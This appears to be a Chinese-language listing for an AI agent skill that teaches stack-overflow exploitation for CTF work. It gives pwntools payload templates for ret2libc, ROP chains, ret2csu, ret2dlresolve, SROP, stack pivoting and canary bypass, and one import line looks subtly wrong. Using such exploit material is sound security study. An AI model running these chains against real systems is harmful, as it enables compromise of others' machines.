关于 stack-overflow-and-rop
面向安全从业者的栈溢出二进制利用进阶技能,适用于漏洞程序分析和 CTF。内容涵盖 return-to-libc、ROP 链、栈迁移及 canary 绕过等技术。
主要功能
- 01Return-to-libc 技术
- 02ROP 链构造与 gadget 选择
- 03ret2csu、ret2dlresolve 和 SROP
- 04栈迁移方法
- 05Canary 绕过方式
- 06利用工具命令参考
适用场景
- 01为栈溢出构造利用方案
- 02在启用 NX 时选择代码复用技术
- 03分析目标二进制的 canary 绕过选项
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill stack-overflow-and-rop安装后在 Claude Code 中输入/stack-overflow-and-rop确认已加载。
附带文件ROP_ADVANCED_TECHNIQUES.md
详细介绍
技能:Stack Overflow 与 ROP — 专家攻击手册
AI 加载说明:栈利用专家技术。涵盖经典缓冲区溢出、return-to-libc、ROP 链构造、ret2csu、ret2dlresolve、SROP、栈迁移和 canary 绕过。内容提炼自 ctf-wiki advanced-rop、真实世界的 CVE 和 CTF 竞赛模式。基础模型经常忽略受限条件下选择 gadget 的细节。
0. 相关路由
- format-string-exploitation — 在触发溢出前,通过格式化字符串泄露 canary/libc/PIE 基址
- binary-protection-bypass — 系统性绕过 NX、ASLR、PIE、canary、RELRO
- arbitrary-write-to-rce — 将写入原语(GOT、hooks、vtable)转换为代码执行
- heap-exploitation — 漏洞位于堆而非栈上时使用
高级参考
在需要以下内容时,加载 ROP_ADVANCED_TECHNIQUES.md:
- 在没有二进制文件的情况下,针对远程服务使用 Blind ROP(BROP)方法
- 在 32 位系统上通过 ret2vdso 绕过 ASLR
- 通过部分覆写绕过 PIE
- JOP / COP 等替代性代码复用范式
1. 栈布局基础
High Address
┌─────────────────────┐
│ ... (caller) │
├─────────────────────┤
│ Return Address │ ← overwrite target (EIP/RIP control)
├─────────────────────┤
│ Saved EBP/RBP │ ← overwrite for stack pivoting
├─────────────────────┤
│ Canary (if enabled)│
├─────────────────────┤
│ Local Variables │ ← buffer starts here
├─────────────────────┤
│ ... │
└─────────────────────┘
Low Address
| 元素 | x86(32 位) | x86-64(64 位) |
|---|---|---|
| 返回地址大小 | 4 字节 | 8 字节 |
| 保存的帧指针 | 4 字节(EBP) | 8 字节(RBP) |
| Canary 大小 | 4 字节 | 8 字节 |
| 调用约定 | 参数位于栈上 | RDI、RSI、RDX、RCX、R8、R9,之后为栈 |
| 系统调用指令 | int 0x80 | syscall |
2. RETURN-TO-LIBC
启用 NX(栈不可执行)时,将执行流重定向到 libc 函数。
经典 ret2libc(32 位)
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr) # fake return address for system()
payload += p32(binsh_addr) # arg1: "/bin/sh"
ret2libc(64 位)——需要用于传递参数的 Gadgets
pop_rdi = elf_base + 0x401234 # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
Libc 基址泄露方法
| 方法 | 技术 | 适用时机 |
|---|---|---|
| puts@plt(puts@GOT) | 泄露已解析的 libc 地址 | GOT 已解析,且 puts 位于 PLT 中 |
| write@plt(1, read@GOT, 8) | 通过 write 系统调用泄露 | write 可用 |
| printf("%s", GOT_entry) | 通过格式化字符串泄露 | printf 可控 |
| 部分覆写 | 覆写返回地址低位字节以到达泄露 gadget | 启用了 PIE,且已知末尾 12 位 |
# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr) # return to main for second payload
io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
one_gadget — 单个 Gadget 实现 RCE
$ one_gadget /path/to/libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints: rsp & 0xf == 0, rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints: [rsp+0x40] == NULL
必须满足约束条件——使用前检查寄存器和栈状态。
3. ROP 链构造
工具对比
| 工具 | 优势 | 命令 |
|---|---|---|
| ROPgadget | 全面搜索,生成链 | ROPgadget --binary elf --ropchain |
| ropper | 语义搜索,支持 JOP/COP | ropper -f elf --search "pop rdi" |
| pwntools ROP | 自动构建链 | rop = ROP(elf); rop.call('system', ['/bin/sh']) |
| xrop | 快速搜索 gadget | xrop -r elf |
必备 Gadget 模式
| 用途 | Gadget | 使用场景 |
|---|---|---|
| 设置 RDI(参数 1) | pop rdi; ret | 大多数函数调用 |
| 设置 RSI(参数 2) | pop rsi; pop r15; ret | 双参数函数 |
| 设置 RDX(参数 3) | pop rdx; ret(少见) | 三参数函数,使用 ret2csu |
| 系统调用 | syscall; ret | 直接调用系统调用 |
| 栈迁移 | leave; ret | 将 RSP 移至受控缓冲区 |
| 对齐栈 | ret(单个 ret gadget) | 修正 movaps 所需的 16 字节对齐 |
x86-64 栈对齐:system() 和其他 libc 函数会使用 movaps,该指令要求 RSP % 16 == 0。如果对齐不正确,请在调用前插入额外的 ret gadget。
4. ret2csu — 通用三参数控制
__libc_csu_init 存在于几乎所有动态链接的 ELF 二进制文件中,并提供最多控制 3 个参数的调用。
; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx ; 0
pop rbp ; 1
pop r12 ; call target (function pointer address)
pop r13 ; arg3 (rdx)
pop r14 ; arg2 (rsi)
pop r15 ; arg1 (edi = r15d)
ret
; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again
关键约束:r12 必须指向目标函数的指针(例如 GOT 条目),而不能直接是函数地址。设置 rbx=0、rbp=1 可跳过循环。
5. ret2dlresolve
伪造 ELF 动态链接结构,在不泄露 libc 的情况下解析任意函数(例如 system)。
攻击流程
- 控制执行流程,调用
_dl_runtime_resolve(link_map, reloc_offset) - 在已知的可写地址伪造
Elf_Rel,使其指向伪造的Elf_Sym - 伪造
Elf_Sym,让st_name指向伪造的字符串"system\x00" - 设置
reloc_offset,使解析器使用伪造的结构 - 将参数(
/bin/sh)放置在栈上或已知缓冲区中
# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)
32 位与 64 位的区别
| 方面 | 32 位 | 64 位 |
|---|---|---|
| 重定位类型 | Elf32_Rel(8 字节) | Elf64_Rela(24 字节) |
| 符号表条目 | Elf32_Sym(16 字节) | Elf64_Sym(24 字节) |
| 对齐 | 要求宽松 | 要求严格(必须满足 ndx = (reloc_offset) / sizeof(Elf64_Rela),然后 sym = symtab[ndx]) |
| 版本检查 | 通常可以跳过 | VERSYM[sym_index] 必须有效或为 0 |
6. SROP — Sigreturn 面向编程
利用 sigreturn 系统调用,通过栈上的伪造信号帧一次性设置所有寄存器。
from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr # optional pivot
payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15) # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)
适用场景:可用 gadget 有限、没有 pop rdx、静态二进制文件,或需要将栈切换到任意地址。
7. 栈切换
当溢出长度有限时,将栈指针移动到攻击者控制的缓冲区。
| 技术 | Gadget | 前提条件 |
|---|---|---|
leave; ret | mov rsp, rbp; pop rbp; ret | 控制保存的 RBP,使其指向伪造栈 |
xchg rsp, rax; ret | 交换 RSP 与 RAX | 控制 RAX(通过 gadget 链) |
pop rsp; ret | 直接控制 RSP | 少见但强大 |
| SROP 切换 | 在 SigreturnFrame 中设置 RSP | 只需 sigreturn gadget |
leave;ret 切换模式
Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
1st leave: rsp = rbp → fake_rbp; pop rbp → *fake_rbp
1st ret: rip = leave_ret_addr
2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
2nd ret: rip = *(buf+8) → start of ROP chain in buf
8. 绕过 CANARY
| 技术 | 条件 | 方法 |
|---|---|---|
| 暴力破解 | fork() 服务(子进程中的 canary 相同) | 逐字节破解(64 位需要 256 × 7 = 1792 次尝试) |
| 格式字符串泄露 | 可使用 printf(user_input) | 使用 %N$p 从栈上读取 canary |
| 读取栈内容 | 单字节溢出或部分读取 | 覆盖 canary 的空字节,通过错误信息/输出读取 |
| 线程 canary | 溢出到达 TLS | 同时覆盖 TLS 中的 stack_guard(位于 fs:[0x28]) |
| 信息泄露 | 未初始化的栈变量泄露 | 泄露的数据中包含 canary |
9. 工具速查
checksec ./binary # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi" # Semantic gadget search
one_gadget ./libc.so.6 # Find one-shot RCE gadgets
pwn template ./binary --host x --port y # Generate pwntools exploit skeleton
10. 决策树
Binary has stack overflow?
├── checksec: NX disabled?
│ └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│ └── NO (NX enabled) →
│ ├── Canary enabled?
│ │ ├── YES → fork() server? → brute-force canary
│ │ │ format string? → leak canary
│ │ │ info leak? → read canary
│ │ └── NO → proceed to ROP
│ ├── ASLR/PIE enabled?
│ │ ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│ │ ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│ │ └── Neither → addresses known, direct ROP
│ ├── Can leak libc?
│ │ ├── YES → ret2libc (system/execve) or one_gadget
│ │ └── NO → ret2dlresolve (forge resolution) or SROP
│ ├── Need 3+ args but no pop rdx?
│ │ └── ret2csu or SROP
│ ├── Overflow too short for full chain?
│ │ └── Stack pivot (leave;ret, xchg rsp)
│ ├── Static binary (no libc)?
│ │ └── SROP + syscall chain (execve via sigreturn)
│ └── Full RELRO?
│ └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│ or _IO_FILE vtable (see ../arbitrary-write-to-rce/)